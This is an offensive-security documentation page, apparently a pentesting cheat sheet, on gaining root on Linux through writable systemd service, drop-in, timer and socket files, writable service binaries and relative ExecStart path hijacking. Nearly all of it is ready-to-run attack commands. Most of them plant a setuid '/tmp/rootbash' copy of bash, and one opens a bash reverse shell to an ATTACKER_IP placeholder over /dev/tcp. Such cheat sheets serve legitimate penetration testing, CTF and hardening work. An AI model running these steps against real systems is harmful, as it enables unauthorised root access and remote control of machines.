> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Writable Systemd Services

> Privilege escalation via writable systemd service files, service binaries, and systemd PATH hijacking.

## Overview

Systemd manages services on modern Linux. If you can modify a `.service` file, its binary, or exploit relative paths, you get code execution as the user running the service (often root).

***

## Find Writable Service Files

```bash theme={"dark"}
find /etc/systemd/system/ -writable -name "*.service" 2>/dev/null
find /run/systemd/system/ -writable -name "*.service" 2>/dev/null
find /usr/lib/systemd/system/ -writable -name "*.service" 2>/dev/null
```

### Check Drop-in Directories

```bash theme={"dark"}
find /etc/systemd/system/*.d/ -writable 2>/dev/null
```

Drop-in files (`/etc/systemd/system/<unit>.d/*.conf`) override service settings.

***

## Exploit Writable .service File

### Modify ExecStart

```bash theme={"dark"}
cat /etc/systemd/system/vulnerable.service
```

Replace ExecStart:

```ini theme={"dark"}
[Service]
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'
```

Reload and restart:

```bash theme={"dark"}
systemctl daemon-reload
systemctl restart vulnerable.service
/tmp/rootbash -p
```

### Reverse Shell via Service

```ini theme={"dark"}
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
```

***

## Exploit via Drop-in Override

If `/etc/systemd/system/<unit>.d/` is writable:

```bash theme={"dark"}
echo -e '[Service]\nExecStart=\nExecStart=/bin/bash -c "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"' > /etc/systemd/system/vulnerable.service.d/override.conf
systemctl daemon-reload
systemctl restart vulnerable.service
```

<Note>
  Empty `ExecStart=` line is required before the new one — systemd appends otherwise.
</Note>

***

## Writable Service Binary

If the binary a service executes is writable:

```bash theme={"dark"}
# Find service binaries
systemctl show -p ExecStart --no-pager $(systemctl list-unit-files --type=service --state=enabled | awk '{print $1}') 2>/dev/null
```

```bash theme={"dark"}
# Check permissions
ls -la /usr/local/bin/backup.sh
```

If writable:

```bash theme={"dark"}
echo '#!/bin/bash' > /usr/local/bin/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /usr/local/bin/backup.sh
chmod +x /usr/local/bin/backup.sh
```

Wait for service restart or:

```bash theme={"dark"}
systemctl restart vulnerable.service
```

***

## Systemd PATH Hijacking

systemd does **not** use the environment `$PATH` (from `systemctl show-environment`) to resolve a relative `ExecStart` binary. It uses a fixed compile-time search path — typically `/usr/local/sbin`, `/usr/local/bin`, `/usr/sbin`, `/usr/bin`. The hijack only works if one of *those* standard directories is writable.

```bash theme={"dark"}
# Show the fixed search path used for relative ExecStart binaries
systemd-path search-binaries-default
```

If a service uses a relative binary name and one of those standard dirs is writable:

```ini theme={"dark"}
[Service]
ExecStart=backup
```

```bash theme={"dark"}
echo '#!/bin/bash' > /usr/local/bin/backup
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /usr/local/bin/backup
chmod +x /usr/local/bin/backup
```

***

## Writable Timer Files

```bash theme={"dark"}
find /etc/systemd/system/ -writable -name "*.timer" 2>/dev/null
systemctl list-timers --all
```

Modify timer to point to malicious service:

```ini theme={"dark"}
[Timer]
Unit=malicious.service
OnCalendar=*:*:00

[Install]
WantedBy=timers.target
```

Create `malicious.service`:

```ini theme={"dark"}
[Service]
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'
```

```bash theme={"dark"}
systemctl daemon-reload
systemctl enable --now malicious.timer
```

***

## Writable Socket Files

```bash theme={"dark"}
find /etc/systemd/system/ -writable -name "*.socket" 2>/dev/null
```

Inject `ExecStartPre` to execute before socket activation:

```ini theme={"dark"}
[Socket]
ExecStartPre=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'
```

### Create Missing Service for Socket

If a `.socket` exists but the `.service` it activates is missing:

```bash theme={"dark"}
systemctl status vulnerable.socket
# Loaded: loaded, Active: listening
# missing vulnerable.service
```

Create the service:

```ini theme={"dark"}
[Service]
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'
```

***

## Enumerate All Services Running as Root

```bash theme={"dark"}
ps aux | grep root
systemctl list-units --type=service --state=running
```

Check each service binary permissions:

```bash theme={"dark"}
for svc in $(systemctl list-units --type=service --state=running --no-legend | awk '{print $1}'); do
    bin=$(systemctl show -p ExecStart "$svc" 2>/dev/null | grep -oP 'path=\K[^ ;]+')
    [ -n "$bin" ] && [ -w "$bin" ] && echo "WRITABLE: $svc -> $bin"
done
```
